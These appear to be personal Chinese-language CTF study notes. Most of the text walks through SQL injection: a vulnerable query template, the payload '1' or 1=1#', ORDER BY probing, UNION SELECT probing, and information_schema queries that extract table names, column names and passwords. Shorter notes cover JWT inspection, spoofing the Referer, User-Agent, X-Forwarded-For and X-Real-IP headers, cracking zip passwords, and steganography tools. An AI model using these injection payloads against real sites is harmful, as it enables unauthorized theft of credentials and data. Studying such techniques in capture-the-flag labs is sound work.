sql语句
SELECT username, password FROM users WHERE username='$username' && password='$password'
1‘ or 1=1#
找注入点(就是可以跟数据库进行交互的地方)
闭合语句(闭合了就能用SQL注入,不一定只是一个单引号)
注入攻击
select username,password from user where username='1' order by 2
利用order by
注意:username=的那个1不要用admin,不然直接默认输出admin了,无法判断回显点了
利用union select联合查询
他会追加在后面
mysql> SELECT username, password FROM users WHERE username='admin' union select 1,2;
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| 1 | 2 |
+----------+----------+
我们设置一个不存在的即可
返回当前使用的数据库
select * from users limit 0,2//数字型注入
从0开始查两个
0' or 1=1 limit 14,1#
把一列的数据,全部整合到一起
select group_concat(password) from users;
如果我们知道表名,
username=1'union select (select password from users where username="flag"),2#
&password=asdasda
username=1'union select password,2 from users where username="flag"#&password=asdasda
查询表名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
查询字段名
1' union select group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='users'#
查数据
1' union select group_concat(password),1 from users#
尊贵的admin写了个todo帮助自己管理日常,但他好像没调试完就部署了…一个月后,当他再一次打开他的小网站,似乎忘记了密码…他的todo之前记录了很重要的东西,快帮帮他
不要爆破!
那就换个用户名.
看见todo.题目说不能爆破密码,说明密码很难,不要反其道而行
抓包先看看
同个网站会有多个包,不停的放包观察,多点几次。如果是空白那就等一会儿
看!这有个token
接下来我们需要用到个网站jwt
是不是和token很相似?放里面观察
这题居然点100关!我20关就放弃了哎。下次极限拉到100
憋着一肚子火
就这个。抓包
先抓个包表敬意
这是个网站,可以放网站的地方:referer(从这个地方来)
注意要放在Connection:close的上面
这个Hachi-Roku像是个浏览器。放浏览器的地方:User-Agent
最后一步。从本地,想到XFF(从这里来的)
这就是不能用XFF。那就换一个X-Real-IP
签到题,微信关注得到flag
这个压缩包有点麻烦
打开压缩包,全都加密。注释里面写的是6位以内的纯数字。用Ziperello暴力解密
压缩包里面还有个加密压缩包。字典解码
用第一个压缩包里面附加的字典:password-note
包里还套密码包,这次明文攻击
两个后缀一模一样,说明是同个文件。进行明文攻击时,先把文件变成压缩包。注意特定格式
zsteg /root/Desktop/下载.jfif --all
用010打开文件,就能得到flag